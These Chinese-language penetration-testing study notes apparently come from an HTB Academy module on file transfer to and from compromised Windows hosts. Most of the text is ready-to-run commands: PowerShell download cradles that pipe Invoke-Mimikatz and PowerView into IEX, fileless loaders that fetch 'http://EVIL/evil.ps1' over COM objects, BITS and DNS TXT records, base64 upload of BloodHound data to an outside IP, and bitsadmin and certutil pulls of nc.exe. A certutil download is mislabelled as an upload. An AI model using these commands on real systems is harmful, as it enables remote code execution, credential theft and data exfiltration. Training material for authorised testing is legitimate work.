在需要将文件传输到目标系统或从目标系统传输时,存在许多情况。我们可以成功利用 Web 应用程序漏洞,在目标 Web 服务器上实现 RCE,甚至上传 Web 外壳。我们可以通过多种方式升级对交互式外壳的访问,有些方法需要成功将脚本、二进制文件或工具传输到目标。在内网渗透中,我们可能会发现自己处于 Windows 主机上,需要转移工具以执行活动目录环境的列举、尝试权限升级或需要下载命令输出以进行离线处理。
文件传输是任何操作系统的核心功能,并且有丰富的工具来实现此目的。但是,许多此类工具可能由管理员阻止或监视,值得审查在给定环境中可能采用的一系列技术。
此模块涵盖利用 Windows 和 Linux 系统中常用的工具和应用程序的技术。技术列表并非详尽无遗。在浏览其他 HTB 学院模块时,本模块内的信息也可以用作参考指南,因为许多模块内练习将要求我们将文件传输到目标主机或从提供的 Pwnbox 中传输文件。目标 Windows 和 Linux 机器作为模块的一部分提供,以完成一些动手练习。尽管如此,还是值得利用这些目标来尝试模块部分演示的尽可能多的技术。观察不同传输方法之间的细微差别,并记下它们有用的情况。
windows
powershell
PowerShell file Downloads
在大多数环境下 http/https 流量是被防火墙允许通过的,比如我们的浏览器会使用http/https协议来传送文件,在powershell 中有很多文件传送指令 ,大多数版本的powershell 里 System.Net.WebClient
对象可以用来下载文件(http /https协议)
PS C:\htb> (New-Object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1',"C:\Users\Public\Downloads\PowerView.ps1")
powershell 3.0 以上,可以用Invoke-WebRequest
,但是下载很慢 ,建议使用 iwr
,curl
,和weget
代替
PS C:\htb> Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1
IEX 可以接收管道的输入
PS C:\htb> Invoke-WebRequest https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1 | iex
首次使用可能会出现浏览器未被设置为默认浏览器的弹窗阻断下载
可以使用参数 -UseBasicParsing 来绕过
PS C:\htb> Invoke-WebRequest https://<ip>/PowerView.ps1 | iex
Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
At line:1 char:1
+ Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/P ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
+ FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand
PS C:\htb> Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | iex
PS C:\htb> Invoke-CheckLocalAdminAccess
ComputerName IsAdmin
------------ -------
localhost False
或者可以用管理员权限关闭浏览器 首次设定弹窗。
C:\htb> reg add "HKLM\SOFTWARE\Microsoft\Internet Explorer\Main" /f /v DisableFirstRunCustomize /t REG_DWORD /d 2
除了以上 下载方法,还有其他绕过浏览器弹窗,代理,不接触磁盘,文件不落地的下载方法
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText
# WinHttp COM object (not proxy aware!)
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText
# using bitstransfer- touches disk!
Import-Module bitstransfer;Start-BitsTransfer 'http://EVIL/evil.ps1' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t; iex $r
# DNS TXT approach from PowerBreach (https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerBreach/PowerBreach.ps1)
# code to execute needs to be a base64 encoded string stored in a TXT record
IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(((nslookup -querytype=txt "SERVER" | Select -Pattern '"*"') -split '"'[0]))))
# from @subtee - https://gist.github.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d
<#
<?xml version="1.0"?>
<command>
<a>
<execute>Get-Process</execute>
</a>
</command>
#>
$a = New-Object System.Xml.XmlDocument
$a.Load("https://gist.githubusercontent.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d/raw/1ffde429dc4a05f7bc7ffff32017a3133634bc36/gistfile1.txt")
$a.command.a.execute | iex
PowerShell file upload
也可以使用powershell 的 Invoke-WebRequest
Invoke-RestMethod
PS C:\htb> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'c:/users/public/downloads/BloodHound.zip' -Encoding Byte))
PS C:\htb> Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64
Bitsadmin
后台智能传输服务(BITS)可以从HTTP站点和SMB共享下载文件。它“智能地”检查主机和网络利用率,以尽量减少对用户前台工作的影响。
PS C:\htb> bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe
PowerShell还支持与BITS的交互,支持文件下载和上载,支持凭据,并且可以使用指定的代理服务器。
Download
PS C:\htb> Import-Module bitstransfer;Start-BitsTransfer -Source "http://10.10.10.32/nc.exe" -Destination "C:\Temp\nc.exe"
Upload
PS C:\htb> Start-BitsTransfer "C:\Temp\bloodhound.zip" -Destination "http://10.10.10.132/uploads/bloodhound.zip" -TransferType Upload -ProxyUsage Override -ProxyList PROXY01:8080 -ProxyCredential INLANEFREIGHT\svc-sql
Certutil
certutil可以用来下载任意文件。它可以在所有的Windows版本中使用,并且是一种非常流行的文件传输技术,基本上可以作为Wget for Windows。但是,反恶意软件扫描接口(AMSI)认为是恶意certutil使用。
Upload
:\htb> certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe